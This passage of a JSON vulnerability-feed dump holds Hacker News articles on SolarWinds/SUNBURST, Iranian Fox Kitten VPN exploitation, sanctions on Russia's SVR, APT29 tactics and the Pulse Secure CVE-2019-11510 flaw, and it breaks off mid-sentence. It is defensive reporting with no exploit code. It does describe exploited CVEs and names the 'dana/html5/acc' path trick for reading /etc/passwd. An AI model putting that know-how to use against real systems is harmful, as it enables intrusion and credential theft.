"confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-11510", "CVE-2020-0688"], "modified": "2022-05-09T02:55:12", "id": "THN:3266EB2F73FA4A955845C8FEBA4E73C5", "href": "https://thehackernews.com/2022/04/us-cybersecurity-agency-lists-2021s-top.html", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:38:41", "description": "[](<https://thehackernews.com/images/-Cpd5jYOBXGk/X9b7WId_6xI/AAAAAAAABPY/RSyw2zajv6MRRJNaCspQPEerTW8vEpNpACLcBGAsYHQ/s0/solarwinds.jpg>)\n\nState-sponsored actors allegedly working for Russia have [targeted](<https://www.washingtonpost.com/national-security/russian-government-spies-are-behind-a-broad-hacking-campaign-that-has-breached-us-agencies-and-a-top-cyber-firm/2020/12/13/d5a53b88-3d7d-11eb-9453-fc36ba051781_story.html>) the US Treasury, the Commerce Department's National Telecommunications and Information Administration (NTIA), and other government agencies to [monitor internal email traffic](<https://www.reuters.com/article/us-usa-cyber-amazon-com-exclsuive/exclusive-u-s-treasury-breached-by-hackers-backed-by-foreign-government-sources-idUSKBN28N0PG>) as part of a widespread cyberespionage campaign.\n\nThe Washington Post, citing unnamed sources, said the latest attacks were the work of APT29 or Cozy Bear, the same hacking group that's believed to have orchestrated a breach of US-based cybersecurity firm [FireEye](<https://thehackernews.com/2020/12/cybersecurity-firm-fireeye-got-hacked.html>) a few days ago leading to the theft of its Red Team penetration testing tools.\n\nThe motive and the full scope of what intelligence was compromised remains unclear, but signs are that adversaries tampered with a software update released by Texas-based IT infrastructure provider SolarWinds earlier this year to infiltrate the systems of government agencies as well as FireEye and mount a highly-sophisticated [supply chain attack](<https://en.wikipedia.org/wiki/Supply_chain_attack>).\n\n\"The compromise of SolarWinds' Orion Network Management Products poses unacceptable risks to the security of federal networks,\" said Brandon Wales, acting director of the US Cybersecurity and Infrastructure Security Agency (CISA), which has [released](<https://www.cisa.gov/news/2020/12/13/cisa-issues-emergency-directive-mitigate-compromise-solarwinds-orion-network>) an emergency directive, urging federal civilian agencies to review their networks for suspicious activity and disconnect or power down SolarWinds Orion products immediately.\n\nSolarWinds' networking and security products are used by more than [300,000 customers worldwide](<https://www.solarwinds.com/company/customers>), including Fortune 500 companies, government agencies, and education institutions.\n\nIt also serves several major US telecommunications companies, all five branches of the US Military, and other prominent government organizations such as the Pentagon, State Department, NASA, National Security Agency (NSA), Postal Service, NOAA, Department of Justice, and the Office of the President of the United States.\n\n### An Evasive Campaign to Distribute SUNBURST Backdoor\n\nFireEye, which is tracking the ongoing intrusion campaign under the moniker \"[UNC2452](<https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html>),\" said the supply chain attack takes advantage of trojanized SolarWinds Orion business software updates in order to distribute a backdoor called SUNBURST.\n\n\"This campaign may have begun as early as Spring 2020 and is currently ongoing,\" FireEye said in a Sunday analysis. \"Post compromise activity following this supply chain compromise has included lateral movement and data theft. The campaign is the work of a highly skilled actor and the operation was conducted with significant operational security.\"\n\n[](<https://thehackernews.com/images/-PbITJeTtDpo/X9b7oJ1VO6I/AAAAAAAABPg/V3gShVN1NtYYFwAKCmwfQuhQjkNYMDgQgCLcBGAsYHQ/s0/solarwinds-backdoor.jpg>)\n\nThis rogue version of SolarWinds Orion plug-in, besides masquerading its network traffic as the Orion Improvement Program ([OIP](<https://support.solarwinds.com/SuccessCenter/s/article/Orion-Improvement-Program?language=en_US>)) protocol, is said to communicate via HTTP to remote servers so as to retrieve and execute malicious commands (\"Jobs\") that cover the spyware gamut, including those for transferring files, executing files, profiling and rebooting the target system, and disabling system services.\n\nOrion Improvement Program or OIP is chiefly used to collect performance and usage statistics data from SolarWinds users for product improvement purposes.\n\nWhat's more, the IP addresses used for the campaign were obfuscated by VPN servers located in the same country as the victim to evade detection.\n\nMicrosoft also corroborated the findings in a separate analysis, stating the attack (which it calls \"[Solorigate](<https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Behavior:Win32/Solorigate.C!dha&ThreatID=2147771132>)\") leveraged the trust associated with SolarWinds software to insert malicious code as part of a larger campaign.\n\n\"A malicious software class was included among many other legitimate classes and then signed with a legitimate certificate,\" the Windows maker said. The resulting binary included a backdoor and was then discreetly distributed into targeted organizations.\"\n\n### SolarWinds Releases Security Advisory\n\nIn a [security advisory](<https://www.solarwinds.com/securityadvisory>) published by SolarWinds, the company said the attack targets versions 2019.4 through 2020.2.1 of the SolarWinds Orion Platform software that was released between March and June 2020, while recommending users to upgrade to Orion Platform release 2020.2.1 HF 1 immediately.\n\nThe firm, which is currently investigating the attack in coordination with FireEye and the US Federal Bureau of Investigation, is also expected to release an additional hotfix, 2020.2.1 HF 2, on December 15, which replaces the compromised component and provides several extra security enhancements.\n\nFireEye last week disclosed that it fell victim to a highly sophisticated foreign-government attack that compromised its software tools used to test the defenses of its customers.\n\nTotaling as many as [60 in number](<https://www.picussecurity.com/resource/blog/techniques-tactics-procedures-utilized-by-fireeye-red-team-tools>), the stolen Red Team tools are a mix of publicly available tools (43%), modified versions of publicly available tools (17%), and those that were developed in-house (40%).\n\nFurthermore, the theft also includes exploit payloads that leverage critical vulnerabilities in Pulse Secure SSL VPN (CVE-2019-11510), Microsoft Active Directory (CVE-2020-1472), Zoho ManageEngine Desktop Central (CVE-2020-10189), and Windows Remote Desktop Services (CVE-2019-0708).\n\nThe campaign, ultimately, appears to be a supply chain attack on a global scale, for FireEye said it detected this activity across several entities worldwide, spanning government, consulting, technology, telecom, and extractive firms in North America, Europe, Asia, and the Middle East.\n\nThe indicators of compromise (IoCs) and other relevant attack signatures designed to counter SUNBURST can be accessed [here](<https://github.com/fireeye/sunburst_countermeasures>).\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-12-14T05:44:00", "type": "thn", "title": "US Agencies and FireEye Were Hacked Using SolarWinds Software Backdoor", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-0708", "CVE-2019-11510", "CVE-2020-10189", "CVE-2020-1472"], "modified": "2020-12-14T12:54:22", "id": "THN:E9454DED855ABE5718E4612A2A750A98", "href": "https://thehackernews.com/2020/12/us-agencies-and-fireeye-were-hacked.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:38:37", "description": "[](<https://thehackernews.com/images/-ZHqaACEm1IE/Xkv7mFYNdVI/AAAAAAAAABQ/u9DIxl0wBik0Tdeo0zYMA5h4Eycz0ntogCLcBGAsYHQ/s728-e100/iranian-apt-hacking-group.jpg>)\n\nA new report published by cybersecurity researchers has unveiled evidence of Iranian state-sponsored hackers targeting dozens of companies and organizations in Israel and around the world over the past three years. \n \nDubbed \"**Fox Kitten**,\" the cyber-espionage campaign is said to have been directed at companies from the IT, telecommunication, oil and gas, aviation, government, and security sectors. \n \n\"We estimate the campaign revealed in this report to be among Iran's most continuous and comprehensive campaigns revealed until now,\" ClearSky [researchers said](<https://www.clearskysec.com/fox-kitten/>). \n \n\"The revealed campaign was used as a reconnaissance infrastructure; however, it can also be used as a platform for spreading and activating destructive malware such as ZeroCleare and Dustman.\" \n \nTying the activities to threat groups APT33, APT34, and APT39, the offensive \u2014 conducted using a mix of open source and self-developed tools \u2014 also facilitated the groups to steal sensitive information and employ supply-chain attacks to target additional organizations, the researchers said. \n \n\n\n## Exploiting VPN Flaws to Compromise Enterprise Networks\n\n \nThe primary attack vector employed by the Iranian groups has been the exploitation of unpatched VPN vulnerabilities to penetrate and steal information from target companies. The prominent VPN systems exploited this way included Pulse Secure Connect ([CVE-2019-11510](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11510>)), Palo Alto Networks' Global Protect ([CVE-2019-1579](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1579>)), Fortinet FortiOS ([CVE-2018-13379](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-13379>)), and Citrix ([CVE-2019-19781](<https://thehackernews.com/2020/01/citrix-adc-gateway-exploit.html>)). \n \nClearSky noted that the hacking groups were able to successfully acquire access to the targets' core systems, drop additional malware, and laterally spread across the network by exploiting \"1-day vulnerabilities in relatively short periods of time.\" \n \n\n\n[](<https://thehackernews.com/images/-HB88FpLNx7E/Xkv6_Gs13XI/AAAAAAAAABE/sTXpiQuKh4w_qMLsMyuIs2xY7eNJONDHQCLcBGAsYHQ/s728-e100/Iranian-hackers-1.jpg>)\n\n \nUpon successfully gaining an initial foothold, the compromised systems were found to communicate with attacker-control command-and-control (C2) servers to download a series of custom VBScript files that can, in turn, be used to plant backdoors. \n \nFurthermore, the backdoor code in itself is downloaded in chunks so as to avoid detection by antivirus software installed on the infected computers. It's the job of a separate downloaded file \u2014 named \"combine.bat\" \u2014 to stitch together these individual files and create an executable. \n \nTo perform these tasks and achieve persistence, the threat actors exploited tools such as [Juicy Potato](<https://github.com/ohpe/juicy-potato>) and [Invoke the Hash](<https://github.com/Kevin-Robertson/Invoke-TheHash>) to gain high-level privileges and laterally move across the network. Some of the other tools developed by the attackers include: \n \n\n\n * STSRCheck - A tool for mapping databases, servers, and open ports in the targeted network and brute-force them by logging with default credentials.\n * Port.exe - A tool to scan predefined ports and servers.\n \nOnce the attackers gained lateral movement capabilities, the attackers move to the final stage: execute the backdoor to scan the compromised system for relevant information and exfiltrate the files back to the attacker by establishing a remote desktop connection (using a self-developed tool called POWSSHNET) or opening a socket-based connection to a hardcoded IP address. \n \n\n\n[](<https://thehackernews.com/images/-I5Tu4KNsPis/Xkv6nXcj6DI/AAAAAAAAAA8/E1cMYGuEIdsjFmfX7dXhnzRwfrgC0_dRACLcBGAsYHQ/s728-e100/Iranian-hackers.jpg>)\n\n \nIn addition, the attackers used [web shells](<https://www.us-cert.gov/ncas/alerts/TA15-314A>) in order to communicate with the servers located inside the target and upload files directly to a C2 server. \n \n\n\n## The Work of Multiple Iranian Hacking Groups\n\n \nBased on the campaign's use of web shells and overlaps with the attack infrastructure, the ClearSky report highlighted that the attacks against VPN servers are possibly linked to three Iranian groups \u2014 APT33 (\"Elfin\"), APT34 (\"OilRig\") and APT39 (Chafer). \n \nWhat's more, the researchers assessed that the campaign is a result of a \"cooperation between the groups in infrastructure,\" citing similarities in the tools and work methods across the three groups. \n \nJust last month, Iranian state-backed hackers \u2014 dubbed \"[Magnallium](<https://www.wired.com/story/iran-apt33-us-electric-grid>)\" \u2014 were discovered carrying out password-spraying attacks targeting US electric utilities as well as oil and gas firms. \n \nGiven that the attackers are weaponizing VPN flaws within 24 hours, it's imperative that organizations install security patches as and when they are available. \n \nAside from following the principle of least privilege, it also goes without saying that critical systems are monitored continuously and kept up to date. Implementing two-step authentication can go a long way towards minimizing unauthorized logins.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-02-18T15:06:00", "type": "thn", "title": "Iranian Hackers Exploiting VPN Flaws to Backdoor Organizations Worldwide", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-11510", "CVE-2019-1579", "CVE-2019-19781"], "modified": "2020-02-18T15:13:08", "id": "THN:9994A9D5CFB76851BB74C8AD52F3DBBE", "href": "https://thehackernews.com/2020/02/iranian-hackers-vpn-vulnerabilities.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:38:20", "description": "[](<https://thehackernews.com/images/-LTN8ZEVASAQ/YHhnaI6y7gI/AAAAAAAACSI/-4R4GM5jnigOmkENHKFJXtyjjp1f6w4QQCLcBGAsYHQ/s0/us-sanctions-russia-solarwinds-hack.jpg>)\n\nThe U.S. and U.K. on Thursday formally attributed the supply chain attack of IT infrastructure management company SolarWinds with \"high confidence\" to government operatives working for Russia's Foreign Intelligence Service (SVR).\n\n\"Russia's pattern of malign behaviour around the world \u2013 whether in cyberspace, in election interference or in the aggressive operations of their intelligence services \u2013 demonstrates that Russia remains the most acute threat to the U.K.'s national and collective security,\" the U.K. government [said](<https://www.gov.uk/government/news/russia-uk-and-us-expose-global-campaigns-of-malign-activity-by-russian-intelligence-services>) in a statement.\n\nTo that effect, the U.S. Department of the Treasury has imposed sweeping sanctions against Russia for \"undermining the conduct of free and fair elections and democratic institutions\" in the U.S. and for its role in facilitating the sprawling SolarWinds hack, while also barring six technology companies in the country that provide support to the cyber program run by Russian Intelligence Services.\n\n[](<https://thehackernews.com/images/-3aKGKEh2OCw/YHhnxG35qkI/AAAAAAAACSQ/DNi8MHTziNkZeNqP2Y6g9DXrwuwcIBooQCLcBGAsYHQ/s0/russian-hacker.jpg>)\n\nThe companies include ERA Technopolis, Pasit, Federal State Autonomous Scientific Establishment Scientific Research Institute Specialized Security Computing Devices and Automation (SVA), Neobit, Advanced System Technology, and Pozitiv Teknolodzhiz (Positive Technologies), the last three of which are IT security firms whose customers are said to include the Russian Ministry of Defense, SVR, and Russia's Federal Security Service (FSB).\n\n\"As a company, we deny the groundless accusations made by the U.S. Department of the Treasury,\" Positive Technologies [said](<https://www.ptsecurity.com/ww-en/about/news/positive-technologies-official-statement-following-u-s-sanctions/>) in a statement. \"In the almost 20 years we have been operating there has been no evidence of the results of Positive Technologies\u2019 research being used in violation of the principles of business transparency and the ethical exchange of information with the professional information security community.\"\n\nIn addition, the Biden administration is also [expelling ten members](<https://home.treasury.gov/policy-issues/financial-sanctions/recent-actions/20210415>) of Russia's diplomatic mission in Washington, D.C., including representatives of its intelligence services.\n\n\"The scope and scale of this compromise combined with Russia's history of carrying out reckless and disruptive cyber operations makes it a national security concern,\" the Treasury Department [said](<https://home.treasury.gov/news/press-releases/jy0127>). \"The SVR has put at risk the global technology supply chain by allowing malware to be installed on the machines of tens of thousands of SolarWinds' customers.\"\n\nFor its part, Moscow had previously [denied involvement](<https://thehackernews.com/2021/01/fbi-cisa-nsa-officially-blames-russia.html>) in the broad-scope SolarWinds campaign, stating \"it does not conduct offensive operations in the cyber domain.\"\n\nThe [intrusions](<https://thehackernews.com/2021/03/researchers-find-3-new-malware-strains.html>) came to light in December 2020 when FireEye and other cybersecurity firms revealed that the operators behind the espionage campaign managed to compromise the software build and code signing infrastructure of SolarWinds Orion platform as early as October 2019 to deliver the Sunburst backdoor with the goal of gathering sensitive information.\n\nUp to 18,000 SolarWinds customers are believed to have received the trojanized Orion update, although the attackers carefully selected their targets, opting to escalate the attacks only in a handful of cases by deploying Teardrop malware based on an initial reconnaissance of the target environment for high-value accounts and assets.\n\n[](<https://thehackernews.com/images/-K6oDMn9wijo/YHhoAIB7XMI/AAAAAAAACSU/SnX4nr33cRUwtWpMv58gmUlwM1J3GLbGwCLcBGAsYHQ/s0/hack.jpg>)\n\nThe adversary's compromise of the SolarWinds software supply chain is said to have given it the ability to remotely spy or potentially disrupt more than 16,000 computer systems worldwide, according to the [executive order](<https://www.whitehouse.gov/briefing-room/statements-releases/2021/04/15/fact-sheet-imposing-costs-for-harmful-foreign-activities-by-the-russian-government/>) issued by the U.S. government.\n\nBesides infiltrating the networks of [Microsoft](<https://thehackernews.com/2020/12/microsoft-says-its-systems-were-also.html>), [FireEye](<https://thehackernews.com/2020/12/us-agencies-and-fireeye-were-hacked.html>), [Malwarebytes](<https://thehackernews.com/2021/01/solarwinds-hackers-also-breached.html>), and [Mimecast](<https://thehackernews.com/2021/03/mimecast-finds-solarwinds-hackers-stole.html>), the attackers are also said to have used SolarWinds as a stepping stone to breaching several U.S. agencies such as the National Aeronautics and Space Administration (NASA), the Federal Aviation Administration (FAA), and the Departments of State, Justice, Commerce, Homeland Security, Energy, Treasury, and the National Institutes of Health.\n\nThe SVR actor is also known by other names such as APT29, Cozy Bear, and The Dukes, with the threat group being tracked under different monikers, including UNC2452 (FireEye), SolarStorm (Palo Alto Unit 42), StellarParticle (CrowdStrike), Dark Halo (Volexity), and Nobelium (Microsoft).\n\n[](<https://thehackernews.com/images/-JJfhuyyCe1A/YHhoT2JBRoI/AAAAAAAACSg/KKZjhhWheAYDqRlyZsylSiqZ6TohQDq4ACLcBGAsYHQ/s0/cyberattack.jpg>)\n\nFurthermore, the National Security Agency (NSA), the Cybersecurity and Infrastructure Security Agency (CISA), and the Federal Bureau of Investigation (FBI) have jointly released an [advisory](<https://www.nsa.gov/News-Features/Feature-Stories/Article-View/Article/2573391/russian-foreign-intelligence-service-exploiting-five-publicly-known-vulnerabili/>), warning businesses of active exploitation of five publicly known vulnerabilities by APT29 to gain initial footholds into victim devices and networks \u2014 \n\n * [**CVE-2018-13379**](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>) \\- Fortinet FortiGate VPN\n * [**CVE-2019-9670**](<https://nvd.nist.gov/vuln/detail/CVE-2019-9670>) \\- Synacor Zimbra Collaboration Suite\n * [**CVE-2019-11510**](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>) \\- Pulse Secure Pulse Connect Secure VPN\n * [**CVE-2019-19781**](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>) \\- Citrix Application Delivery Controller and Gateway \n * [**CVE-2020-4006**](<https://nvd.nist.gov/vuln/detail/CVE-2020-4006>) \\- VMware Workspace ONE Access\n\nIn a statement shared with The Hacker News, Pulse Secure said the issue identified by the NSA concerns a flaw that was patched on [legacy deployments in April 2019](<https://thehackernews.com/2020/04/pulse-secure-vpn-vulnerability.html>), and that \"customers who followed the instructions in a Pulse Secure security advisory issued at that time have properly protected their systems and mitigated the threat.\"\n\n\"We see what Russia is doing to undermine our democracies,\" said U.K. Foreign Secretary Dominic Raab. \"The U.K. and U.S. are calling out Russia's malicious behaviour, to enable our international partners and businesses at home to better defend and prepare themselves against this kind of action.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-04-15T16:55:00", "type": "thn", "title": "US Sanctions Russia and Expels 10 Diplomats Over SolarWinds Cyberattack", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-11510", "CVE-2019-19781", "CVE-2019-9670", "CVE-2020-4006"], "modified": "2021-06-04T10:27:04", "id": "THN:461B7AEC7D12A32B4ED085F0EA213502", "href": "https://thehackernews.com/2021/04/us-sanctions-russia-and-expels-10.html", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:38:18", "description": "[](<https://thehackernews.com/images/-aP3rCXOUpiQ/YIfVcfAWodI/AAAAAAAACX8/f_RfGI2QOewvk7Zu4AaGOKQyirlBpfKfACLcBGAsYHQ/s0/russian-hackers.jpg>)\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA), Department of Homeland Security (DHS), and the Federal Bureau of Investigation (FBI) on Monday published a new joint advisory as part of their latest attempts to expose the tactics, techniques, and procedures (TTPs) adopted by the Russian Foreign Intelligence Service (SVR) in its attacks targeting the U.S and foreign entities.\n\nBy employing \"stealthy intrusion tradecraft within compromised networks,\" the intelligence agencies [said](<https://us-cert.cisa.gov/ncas/current-activity/2021/04/26/fbi-dhs-cisa-joint-advisory-russian-foreign-intelligence-service>), \"the SVR activity\u2014which includes the recent [SolarWinds Orion supply chain compromise](<https://thehackernews.com/2021/04/researchers-find-additional.html>)\u2014primarily targets government networks, think tank and policy analysis organizations, and information technology companies and seeks to gather intelligence information.\"\n\nThe cyber actor is also being tracked under different monikers, including Advanced Persistent Threat 29 (APT29), the Dukes, CozyBear, and Yttrium. The development comes as the U.S. sanctioned Russia and [formally pinned](<https://thehackernews.com/2021/04/us-sanctions-russia-and-expels-10.html>) the SolarWinds hack and related cyberespionage campaign to government operatives working for SVR.\n\n[APT29](<https://malpedia.caad.fkie.fraunhofer.de/actor/apt_29>), since emerging on the threat landscape in 2013, has been tied to a number of attacks orchestrated with an aim to gain access to victim networks, move within victim environments undetected, and extract sensitive information. But in a noticeable shift in tactics in 2018, the actor moved from deploying malware on target networks to striking cloud-based email services, a fact borne by the SolarWinds attack, wherein the actor leveraged Orion binaries as an intrusion vector to exploit Microsoft Office 365 environments.\n\nThis similarity in post-infection tradecraft with other SVR-sponsored attacks, including in the manner the adversary laterally moved through the networks to obtain access to email accounts, is said to have played a huge role in attributing the SolarWinds campaign to the Russian intelligence service, despite a notable departure in the method used to gain an initial foothold.\n\n\"Targeting cloud resources probably reduces the likelihood of detection by using compromised accounts or system misconfigurations to blend in with normal or unmonitored traffic in an environment not well defended, monitored, or understood by victim organizations,\" the agency noted.\n\nAmong some of the other tactics put to use by APT29 are password spraying (observed during a 2018 compromise of a large unnamed network), exploiting zero-day flaws against virtual private network appliances (such as [CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>)) to obtain network access, and deploying a Golang malware called [WELLMESS](<https://blogs.jpcert.or.jp/en/2018/07/malware-wellmes-9b78.html>) to plunder [intellectual property](<https://www.pwc.co.uk/issues/cyber-security-services/insights/wellmess-analysis-command-control.html>) from multiple organizations involved in COVID-19 vaccine development.\n\nBesides CVE-2019-19781, the threat actor is known to gain initial footholds into victim devices and networks by leveraging [CVE-2018-13379](<https://nvd.nist.gov/vuln/detail/CVE-2018-13379>), [CVE-2019-9670](<https://nvd.nist.gov/vuln/detail/CVE-2019-9670>), [CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>), and [CVE-2020-4006](<https://nvd.nist.gov/vuln/detail/CVE-2020-4006>). Also in the mix is the practice of obtaining virtual private servers via false identities and cryptocurrencies, and relying on temporary VoIP telephone numbers and email accounts by making use of an anonymous email service called cock.li.\n\n\"The FBI and DHS recommend service providers strengthen their user validation and verification systems to prohibit misuse of their services,\" the advisory read, while also urging businesses to secure their networks from a compromise of trusted software.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2021-04-27T09:14:00", "type": "thn", "title": "FBI, CISA Uncover Tactics Employed by Russian Intelligence Hackers", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-11510", "CVE-2019-19781", "CVE-2019-9670", "CVE-2020-4006"], "modified": "2021-04-28T06:42:30", "id": "THN:91A2A296EF8B6FD5CD8B904690E810E8", "href": "https://thehackernews.com/2021/04/fbi-cisa-uncover-tactics-employed-by.html", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:38:30", "description": "[](<https://thehackernews.com/images/-_SvUUuvh0ss/XpmKGXtsseI/AAAAAAAAAPI/SuMNxubahJUd3z_eE6vcjjgsuPoYjkdawCLcBGAsYHQ/s728-e100/pulse-secure-vpn-vulnerability-2.jpg>)\n\nThe United States Cybersecurity and Infrastructure Security Agency (CISA) yesterday issued a [fresh advisory](<https://www.us-cert.gov/ncas/alerts/aa20-107a>) alerting organizations to change all their Active Directory credentials as a defense against cyberattacks trying to leverage a known remote code execution (RCE) vulnerability in Pulse Secure VPN servers\u2014even if they have already patched it. \n \nThe warning comes three months after another [CISA alert](<https://www.us-cert.gov/ncas/alerts/aa20-010a>) urging users and administrators to [patch Pulse Secure VPN](<https://www.us-cert.gov/ncas/current-activity/2019/10/16/multiple-vulnerabilities-pulse-secure-vpn>) environments to thwart attacks exploiting the vulnerability. \n \n\"Threat actors who successfully exploited CVE-2019-11510 and stole a victim organization's credentials will still be able to access \u2014 and move laterally through \u2014 that organization's network after the organization has patched this vulnerability if the organization did not change those stolen credentials,\" CISA said. \n \nCISA has also [released a tool to help](<https://github.com/cisagov/check-your-pulse>) network administrators look for any indicators of compromise associated with the flaw. \n \n\n\n## A Remote Code Execution Flaw\n\n \nTracked as [CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>), the pre-authentication arbitrary file read vulnerability could allow remote unauthenticated attackers to compromise vulnerable VPN servers and gain access to all active users and their plain-text credentials, and execute arbitrary commands. \n \n\n\n[](<https://thehackernews.com/images/-9lA8I2RLHGU/XpmBkUgmolI/AAAAAAAA2qg/xhY8D8d5TDs7mVoKQo3kFZmB8fmEu1yvwCLcBGAsYHQ/s728-e100/pulse-secure-vpn-vulnerability.jpg>)\n\n \nThe flaw stems from the fact that [directory traversal](<https://devco.re/blog/2019/09/02/attacking-ssl-vpn-part-3-the-golden-Pulse-Secure-ssl-vpn-rce-chain-with-Twitter-as-case-study/>) is hard-coded to be allowed if a path contains \"dana/html5/acc,\" thus allowing an attacker to send specially crafted URLs to read sensitive files, such as \"/etc/passwd\" that contains information about each user on the system. \n \nTo address this issue, Pulse Secure released an [out-of-band patch](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/>) on April 24, 2019. \n \n[](<https://thehackernews.com/images/-JoiStCZj61c/XpmChlfPXpI/AAAAAAAAAO8/x_r1K3sIkukYxwR0UcxXPcNLaxvuDvrmQCLcBGAsYHQ/s728-e100/pulse-secure-vpn-vulnerability-1.jpg>) \n \nWhile on August 24, 2019, security intelligence firm Bad Packets was able to discover [14,528 